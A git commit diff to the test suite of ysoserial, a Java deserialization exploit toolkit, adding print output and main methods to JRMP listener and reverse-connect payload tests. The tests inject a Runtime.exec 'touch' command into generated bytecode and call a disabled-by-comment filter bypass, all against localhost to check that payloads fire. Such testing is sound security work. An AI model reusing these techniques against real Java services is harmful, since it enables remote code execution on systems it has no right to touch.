added extra output

This commit is contained in:
Chris Frohoff
2022-06-05 20:26:41 -07:00
parent b4f8062191
commit 62a5819182
5 changed files with 16 additions and 12 deletions
@@ -95,6 +95,7 @@ public class JRMPClient {
} }
} }
// based on http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java
static final class MarshalOutputStream extends ObjectOutputStream { static final class MarshalOutputStream extends ObjectOutputStream {
@@ -21,10 +21,9 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
@Override @Override
public void run(Callable<Object> payload) throws Exception { public void run(Callable<Object> payload) throws Exception {
System.out.println(testFile);
Assert.assertFalse("test file shouldn't exist", testFile.exists()); Assert.assertFalse("test file shouldn't exist", testFile.exists());
ObjectInputFilters.disableDcgFilter(); // ObjectInputFilters.disableDcgFilter();
// open listener // open listener
Remote res = (Remote) payload.call(); Remote res = (Remote) payload.call();
@@ -36,7 +35,6 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
Files.waitForFile(testFile, 1000); Files.waitForFile(testFile, 1000);
Assert.assertTrue("test file should exist", testFile.exists()); Assert.assertTrue("test file should exist", testFile.exists());
System.out.println("passed");
} finally { } finally {
// close listener // close listener
// TODO move to postDeserRelease // TODO move to postDeserRelease
@@ -50,6 +48,7 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
} }
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
// ObjectInputFilters.disableDcgFilter();
PayloadsTest.testPayload(JRMPListener.class, new Class[0]); PayloadsTest.testPayload(JRMPListener.class, new Class[0]);
} }
@@ -4,6 +4,7 @@ package ysoserial.test.payloads;
import java.net.URL; import java.net.URL;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import ysoserial.payloads.JRMPClient;
import ysoserial.test.WrappedTest; import ysoserial.test.WrappedTest;
import ysoserial.exploit.JRMPListener; import ysoserial.exploit.JRMPListener;
@@ -16,16 +17,11 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
private int jrmpPort; private int jrmpPort;
public JRMPReverseConnectSMTest () { public JRMPReverseConnectSMTest () {
// some payloads cannot specify the port // some payloads cannot specify the port
jrmpPort = 1099; jrmpPort = 1099;
} }
/** /**
* {@inheritDoc} * {@inheritDoc}
* *
@@ -33,7 +29,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
*/ */
@Override @Override
public Callable<Object> createCallable ( final Callable<Object> innerCallable ) { public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
return super.createCallable(new Callable<Object>() { return super.createCallable(new Callable<Object>() {
public Object call () throws Exception { public Object call () throws Exception {
JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/"));
Thread t = new Thread(l, "JRMP listener"); Thread t = new Thread(l, "JRMP listener");
@@ -57,7 +53,9 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
return "localhost:" + jrmpPort; return "localhost:" + jrmpPort;
} }
public static void main(String[] args) throws Exception {
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
PayloadsTest.testPayload(JRMPClient.class);
}
} }
@@ -151,6 +151,7 @@ public class PayloadsTest {
} }
} }
if (ex != null) throw ex; if (ex != null) throw ex;
System.out.println("Successfully tested payload: " + payloadClass.getName());
} }
private static boolean isForceTests() { private static boolean isForceTests() {
@@ -50,7 +50,12 @@ public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTe
pool.insertClassPath(new ClassClassPath(Exploit.class)); pool.insertClassPath(new ClassClassPath(Exploit.class));
final CtClass clazz = pool.get(Exploit.class.getName()); final CtClass clazz = pool.get(Exploit.class.getName());
clazz.setName(this.className); clazz.setName(this.className);
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + getTouchCmd(testFile.toString()).replace("\\", "\\\\").replace("\"", "\\\"") + "\");"); clazz.makeClassInitializer().insertAfter(
"java.lang.Runtime.getRuntime().exec(\""
+ getTouchCmd(testFile.toString())
.replace("\\", "\\\\")
.replace("\"", "\\\"")
+ "\");");
return clazz.toBytecode(); return clazz.toBytecode();
} }
catch ( Exception e ) { catch ( Exception e ) {